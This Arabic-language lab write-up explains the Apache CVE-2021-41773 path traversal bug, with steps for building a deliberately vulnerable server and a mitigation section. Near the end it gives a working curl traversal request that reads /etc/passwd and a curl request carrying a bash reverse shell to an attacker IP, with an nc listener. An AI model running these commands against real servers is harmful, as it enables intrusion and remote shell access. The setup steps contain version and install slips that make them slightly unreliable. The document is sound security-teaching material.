
توثيق إعداد الـ POC والمختبر الخاص بـ CVE 2021 41773
توثيق الإثبات المفاهيمي (POC) وإعداد المختبر لثغرة CVE 2021 41773
CVE-2021-41773 هي ثغرة اجتياز مسار (Path Traversal) في خادم Apache HTTP بإصداريه 2.4.49 و2.4.50. تستغل هذه الثغرة تحديثًا في كود تطبيع المسار (path normalisation) الذي تم تقديمه في هذا الإصدار.
دالة تطبيع المسار:
عادةً ما يقوم تطبيع المسار بتصفية مسار الرابط إلى تنسيق
قياسي لمنع الخصوم من القيام بأعمال خبيثة.
قدّم خادم Apache HTTP Server 2.4.49 تغييرًا على دالة ap_normalize_path والذي أصبح السبب الجذري لهذه الثغرة.
إذا ألقينا نظرة على الكود المصدري، يمكننا ملاحظة أن الدالة تكرّر على كل حرف في الرابط المُعطى وتطبّق التعقيم (sanitisation).
لكن الثغرة موجودة في الجزء من الكود الذي يقوم فيه بفك ترميز الرابط (url decoding). الدالة بسيطة، فهي فقط تفك ترميز الحرف المشفّر في الرابط
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED) &&
path[l] == '%' &&
apr_isxdigit(path[l + 1]) &&
apr_isxdigit(path[l + 2]))
{
// Decode the percent-encoded character
const char c = x2c(&path[l + 1]);
// Check if the decoded character is alphanumeric or one of the allowed symbols
if (apr_isalnum(c) || (c && strchr("-._~", c)))
{
// Replace the last character with the decoded one and update position
l += 2;
path[l] = c;
}
}
المشكلة هنا أنها تتعامل فقط مع النقطة الأولى . في الرابط، مما يعني أنه بدلاً من ../، إذا أعطينا .%2e/، سيقوم الخادم بفك ترميز %2e كنقطة وسيُترجم ذلك إلى ../
حالة طبيعية:
URL Input: http://target/cgi-bin/../../etc/passwd
Path Normalization Steps:
1. Detect ../ -> Attempt to traverse up a directory.
2. Normalize function -> will remove or block ../
حالة قابلة للاستغلال:
URL Input: http://target/cgi-bin/.%2e/.%2e/.%2e/etc/passwd
Path Normalization Steps:
1. Decodes %2e to . -> The Result is ./.././../etc/passwd
2. Partial Normalization -> Does not recognize .%2e/ as equivalent to ../
3. Path Traversal is not fully blocked.
Resulting Path: /etc/passwd (Access Granted)
تصبح هذه المشكلة خطيرة وقابلة للاستغلال عندما تقترن بتوجيهات الخادم (server directives). تعمل هذه كقاعدة لسلوك خادم Apache.
تسمح تهيئة Require all granted لجميع الطلبات بالوصول إلى الموارد داخل DocumentRoot بشكل صريح.
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
إذا تم تكوين الخادم بتوجيه Require all granted على مستوى الجذر، فهذا يجعل نظام الملفات بأكمله متاحًا للجمهور.
دليل cgi-bin في Apache هو افتراضيًا دليل مُستعار (alias directory) مع توجيه Require all granted، مما يسمح بالوصول العام، أي يمكن لأي شخص تقديم طلبات إلى دليل /usr/local/apache2/cgi-bin/.
من خلال الجمع بين الخلل المنطقي في دالة ap_normalize_path الذي يسمح بتجاوز اجتياز المسار وبين توجيه Require all granted المُهيأ بشكل خاطئ على الخادم، يمكن للمهاجمين الوصول إلى ملفات على نظام ملفات الخادم خارج الدلائل المقصودة.
يمكن استغلال هذه الثغرة بشكل أكبر مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution) إذا كان mod_cgi مفعّلًا على الخادم.
افتراضيًا، لا يتم تفعيل هذه الوحدة على Apache HTTPD، مما يعني أن الإصدار الافتراضي ليس عرضة لثغرة RCE.
يسمح mod_cgi بتنفيذ سكربتات CGI (Common Gateway Interface) على الخادم وإرجاع المخرجات إلى العميل؛ ويُستخدم أساسًا لتوفير ميزات ديناميكية لمواقع الويب.
قم بتنزيل إصدار Apache الضعيف (يتم تنزيله من الأرشيف لأن الإصدار الضعيف غير متاح للتثبيت المباشر):
wget https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz
تثبيت التبعيات:
sudo apt-get install libapr1 libapr1-dev libaprutil1 libaprutil1-dev
sudo apt-get install build-essential
فك ضغط ملف Apache الضعيف وتهيئته:
tar -xvf httpd-2.4.50.tar.gz
cd httpd-2.4.50
./configure
make
sudo make install
بعد اكتمالها بنجاح، انتقل إلى ملف التهيئة الخاص بـ Apache:
sudo nano /usr/local/apache2/conf/httpd.conf
أضف ما يلي إلى ملف التهيئة:
ServerName 127.0.1.1
ابدأ خدمات Apache:
sudo /usr/local/apache2/bin/apachectl start
انتقل إلى دليل خادم الويب الافتراضي:
cd /usr/local/apache2/htdocs
ملاحظة: عادةً ما يكون الدليل الجذر لـ Apache هو /var/www/html لكن هنا هو /usr/local/apache2/htdocs لأننا لم نثبّت الخادم من المصدر، ويمكننا جعله /var/ww/html إذا أردنا. لكنني سأبقيه كما هو الآن.
أنشئ موقع ويب ثابتًا أساسيًا:
HTML:
echo "GNU nano 6.2 index.html *
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2021-41773</title>
<!-- Link to external CSS file -->
<link rel="stylesheet" href="styles.css">
</head>
<body>
<div class="noise"></div>
<div class="overlay"></div>
<div class="terminal">
<h1>Error <span class="errorcode">404</span></h1>
<p class="output">This is a replication of CVE-2021-41773</p>
<p class="output">Exploit <a href="https://nvd.nist.gov/vuln/detail/cve-2021-41773"> the vulnerability</a> or <a href="https://www.hackthebox.com/blog/cve-2021-41773-explained">Learn more about it </a> </p>
<p class="output">Good luck.</p>
</div>
</body>
</html>" | sudo tee index.html
CSS:
echo "@import 'https://fonts.googleapis.com/css?family=Inconsolata';
html {
min-height: 100%;
}
body {
box-sizing: border-box;
height: 100%;
background-color: #000000;
background-image: radial-gradient(#11581E, #041607), url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
font-family: 'Inconsolata', Helvetica, sans-serif;
font-size: 1.5rem;
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1ex rgba(51, 255, 51, 1),
0 0 2px rgba(255, 255, 255, 0.8);
}
.noise {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background-image: url("https://media.giphy.com/media/oEI9uBYSzLpBK/giphy.gif");
background-repeat: no-repeat;
background-size: cover;
z-index: -1;
opacity: .02;
}
.overlay {
pointer-events: none;
position: absolute;
width: 100%;
height: 100%;
background:
repeating-linear-gradient(
180deg,
rgba(0, 0, 0, 0) 0,
rgba(0, 0, 0, 0.3) 50%,
rgba(0, 0, 0, 0) 100%);
background-size: auto 4px;
z-index: 1;
}
.overlay::before {
content: "";
pointer-events: none;
position: absolute;
display: block;
top: 0;
left: 0;
right: 0;
bottom: 0;
width: 100%;
height: 100%;
background-image: linear-gradient(
0deg,
transparent 0%,
rgba(32, 128, 32, 0.2) 2%,
rgba(32, 128, 32, 0.8) 3%,
rgba(32, 128, 32, 0.2) 3%,
transparent 100%);
background-repeat: no-repeat;
animation: scan 7.5s linear 0s infinite;
}
@keyframes scan {
0% { background-position: 0 -100vh; }
35%, 100% { background-position: 0 100vh; }
}
.terminal {
box-sizing: inherit;
position: absolute;
height: 100%;
width: 1000px;
max-width: 100%;
padding: 4rem;
text-transform: uppercase;
}
.output {
color: rgba(128, 255, 128, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.output::before {
content: "> ";
}
/*
.input {
color: rgba(192, 255, 192, 0.8);
text-shadow:
0 0 1px rgba(51, 255, 51, 0.4),
0 0 2px rgba(255, 255, 255, 0.8);
}
.input::before {
content: "$ ";
}
*/
a {
color: #fff;
text-decoration: none;
}
a::before {
content: "[";
}
a::after {
content: "]";
}
.errorcode {
color: white;
}"| sudo tee styles.css
قم بتعديل تهيئة Apache لمحاكاة الثغرة:
sudo nano /usr/local/apache2/conf/httpd.conf
قم بإجراء تغيير في هذا الجزء من ملف التهيئة بحيث يمكن استغلال الثغرة:
<Directory />
AllowOverride None
Require all granted # Deliberately vulnerable setting, here it was denied usually
</Directory>
الآن ابدأ خادم Apache:
sudo /usr/local/apache2/bin/apachectl start
اذهب إلى الموقع الضعيف بكتابة:
http://<vm-ip>
المختبر جاهز الآن، لنرَ كيف يعمل الاستغلال:
سيقوم طلب curl هذا باستدعاء الثغرة:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
يمكننا الوصول إلى ملف /etc/passwd أو أي ملف في النظام بهذه الطريقة
لنجرب حقن الأوامر ونحاول الحصول على قشرة عكسية (reverse shell):
على جهاز المهاجم، قم بإعداد مستمع netcat:
nc -lvnp 4444
الآن أرسل سطر Bash الواحد عبر طلب curl إلى الضحية:
curl 'http://192.168.65.14:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|bash -i >& /dev/tcp/192.168.65.100/4444 0>&1'
سيمنحنا هذا وصولًا إلى القشرة (shell).
بما أن الإصدارين 2.4.49 و2.4.50 هما الإصداران المتأثران، فإن التخفيف الموصى به هو الترقية إلى الإصدار الأحدث.
إذا لم يكن التحديث خيارًا متاحًا، فمن المستحسن مراجعة الدلائل لتقييد الوصول العام:
يجب تطبيق توجيهات Require all denied على جميع الدلائل غير المخصصة للوصول العام، ويجب عدم تطبيقها أبدًا على مستوى الجذر/الدليل الرئيسي.
يجب تكوين دليل /cgi-bin بتوجيه Require all denied ويجب عدم تعيينه كدليل مُستعار (alias).